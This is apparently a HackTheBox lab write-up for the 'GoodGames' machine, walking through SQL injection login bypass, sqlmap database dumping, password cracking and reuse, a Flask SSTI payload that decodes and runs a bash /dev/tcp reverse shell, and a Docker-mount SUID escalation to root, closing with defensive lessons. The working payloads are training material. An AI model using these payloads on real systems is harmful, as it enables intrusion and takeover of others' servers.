HTB: GoodGames Writeup

GoodGames - HackTheBox Writeup

Machine Information

AttributeDetails
NameGoodGames
OSLinux
DifficultyEasy
PointsN/A
Release Date24 January 2022
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

GoodGames is an Easy Linux machine that demonstrates critical web application vulnerabilities in a real-world gaming platform context. The machine showcases SQL injection flaws in authentication mechanisms, weak password hashing practices, and dangerous Server-Side Template Injection (SSTI) vulnerabilities in Flask applications. The final privilege escalation exploits Docker container misconfigurations combined with password reuse and SUID abuse to gain root access on the host system.

TL;DR: SQL injection bypass → crack admin hash → password reuse on internal Flask app → SSTI RCE → Docker escape via mounted home directory → SUID bash abuse → root shell.


Reconnaissance

Port Scanning

Terminal window
# Initial quick scan
nmap -p- --min-rate=1000 -T4 10.10.11.130
# Full service enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.130 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV -sC -Pn 10.10.11.130

Results:

  • Port 80: Python 3.9.2 web application (HTTP)

Service Enumeration

Browsing to http://10.10.11.130 reveals a gaming-based website titled “GoodGames.” The footer discloses the domain goodgames.htb.

Terminal window
# Add to /etc/hosts
echo "10.10.11.130 goodgames.htb" | sudo tee -a /etc/hosts

The login page is accessible at /login. Initial testing with basic SQL injection payloads (admin' or 1=1 -- -) indicates the login form is vulnerable but requires a valid email format.

Vulnerability Assessment

  1. SQL Injection in Login Form - Authentication bypass via email parameter
  2. Weak Password Hashing - Admin credentials stored with crackable hashes
  3. Password Reuse - Credentials reused across internal Flask application
  4. Server-Side Template Injection (SSTI) - User input reflected in Flask render_template_string()
  5. Docker Misconfiguration - Host directory mounted with read/write permissions in container
  6. SUID Binary Exploitation - BASH binary can be modified from within container

Initial Foothold

Exploitation Path: SQL Injection & Authentication Bypass

Step 1: Confirm SQL Injection

Open BurpSuite and capture the login request:

POST /login HTTP/1.1
Host: goodgames.htb
Content-Type: application/x-www-form-urlencoded
email=admin%40goodgames.htb&password=anything

Modify the email parameter to bypass authentication:

email=admin' or 1=1 -- -&password=anything

The response welcomes the admin user, confirming the vulnerability.

Step 2: Enumerate Database with SQLMap

Save the valid login request to goodgames.req:

Terminal window
# Enumerate available databases
sqlmap -r goodgames.req --dbs
# List tables in the 'main' database
sqlmap -r goodgames.req -D main --tables
# Extract all user records
sqlmap -r goodgames.req -D main -T user --dump

Output reveals:

  • Admin username: admin
  • Admin email: admin@goodgames.htb
  • Password hash: 2b$12$..." (bcrypt, but weakly implemented)

Step 3: Crack Admin Password Hash

Using CrackStation or hashcat, the hash cracks to: superadministrator

Step 4: Access Internal Administration Panel

Authenticate as admin with the cracked credentials. The admin dashboard contains a settings cog that redirects to internal-administration.goodgames.htb.

Terminal window
# Update hosts file
sudo sed -i 's/goodgames.htb/goodgames.htb internal-administration.goodgames.htb/g' /etc/hosts

The internal Flask dashboard uses the same credentials (password reuse):

  • Username: admin
  • Password: superadministrator

SSTI Vulnerability Exploitation

Step 5: Detect SSTI

Navigate to the user settings page and modify the username field to test for template injection:

{{7*7}}

The page responds with username set to 49, confirming SSTI is executable.

Step 6: Craft Reverse Shell Payload

Prepare a base64-encoded reverse shell:

Terminal window
# Create payload
PAYLOAD="bash -i >& /dev/tcp/10.10.14.25/4444 0>&1"
echo -n "$PAYLOAD" | base64
# Output: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDQ0IDA+JjE=
# Start local listener
nc -lvvp 4444

Step 7: Inject SSTI Payload

Submit the following in the username field of the settings form:

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDQ0IDA+JjE=${IFS}|base64${IFS}-d|bash').read()}}

This executes the base64-decoded reverse shell, providing access to the container.

Step 8: Capture User Flag

Terminal window
# Within the shell
cd /home/augustus
cat user.txt
# Flag: <redacted>

Privilege Escalation

Docker Escape & Host Privilege Escalation

Step 1: Identify Docker Environment

Terminal window
# Verify we're in a container
ls -la /home/augustus
# Notice UID 1000 instead of username - indicates mounted directory
mount | grep augustus
# Output shows: /home/augustus mounted from host with rw privileges

Step 2: Discover Host IP

Terminal window
# Find container IP
ip addr show
# Container IP: 172.19.0.2
# Docker assigns first address to host gateway
# Host IP is likely: 172.19.0.1

Step 3: Port Scan Host

Terminal window
# Scan host ports (nmap unavailable)
for PORT in {0..1000}; do
timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && \
echo "port $PORT is open"
done
# Results: SSH (port 22) open on host

Step 4: Attempt Password Reuse

Terminal window
# From within container, SSH to host as augustus
ssh augustus@172.19.0.1
# Password: superadministrator (reused from web application)
# Successfully authenticated as augustus on host

Step 5: Exploit Mounted Directory + SUID

From the host as augustus, copy bash to home directory:

Terminal window
cp /bin/bash ./bash
exit # Exit SSH session back to container

From within the container as root, modify permissions:

Terminal window
# Now in docker container as root
cd /home/augustus
chown root:root bash
chmod 4755 bash # Set SUID bit

Step 6: Escalate to Root on Host

SSH back to host as augustus:

Terminal window
ssh augustus@172.19.0.1
# Password: superadministrator
# Verify SUID permissions
ls -la bash
# -rwsr-xr-x 1 root root ...
# Execute SUID bash with effective root privileges
./bash -p
# Verify root access
id
# uid=0(root) euid=0(root) gid=1000(augustus) egid=1000(augustus)
# Capture root flag
cat /root/root.txt
# Flag: <redacted>

Attack Chain Summary

SQL Injection (Email: admin' or 1=1 -- -)
SQLMap Database Enumeration
Extract Admin Hash (bcrypt)
Hash Cracking → superadministrator
Admin Authentication on goodgames.htb
Internal Admin Panel Access (internal-administration.goodgames.htb)
Password Reuse Login (admin/superadministrator)
SSTI Detection ({{7*7}} → 49)
SSTI Reverse Shell Injection
Container Shell Access
Port Scan: Identify SSH on 172.19.0.1
SSH to Host via Password Reuse
SUID Bash Creation (Container Root → Host via Mounted /home)
SUID Bash Execution → Root Shell
Root Access Achieved

Tools Used

ToolPurpose
nmapNetwork port scanning and service detection
BurpSuiteHTTP request interception and manipulation
sqlmapSQL injection detection and database enumeration
CrackStationHash cracking (bcrypt verification)
nc (netcat)Reverse shell listener
bashPort scanning and command execution
sshLateral movement to host system

Key Learnings

Techniques Practiced

  • Union-based and boolean-based SQL injection exploitation
  • Weak cryptographic hash cracking (bcrypt with poor configuration)
  • Server-Side Template Injection (SSTI) in Python Flask applications
  • Reverse shell payload encoding (base64) and delivery
  • Docker container environment detection
  • Host-container lateral movement via SSH
  • SUID binary abuse for privilege escalation
  • Mounted filesystem exploitation in containers

Lessons Learned

  1. SQL Injection Prevention: Use parameterized queries and prepared statements exclusively. Never concatenate user input into SQL queries.

  2. Password Security: Implement strong hashing algorithms (bcrypt with proper salt rounds, scrypt, or argon2). Ensure password policies enforce complexity and length.

  3. Credential Hygiene: Never reuse credentials across multiple applications or systems. Use unique, complex passwords for each service.

  4. Template Injection Prevention: Avoid render_template_string() with user-controlled input. Use render_template() with safe template files instead. Disable Jinja2 dangerous features when possible.

  5. Docker Security: Avoid mounting host directories into containers unless absolutely necessary. When mounting is required, use read-only (ro) flags. Restrict root privileges within containers.

  6. File Permissions: Regular audits of SUID/SGID binaries on systems. Remove unnecessary SUID bits and monitor for unauthorized modifications.

  7. Network Segmentation: Isolate container networks from host networks. Use firewall rules to prevent internal host-container communication where not explicitly required.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>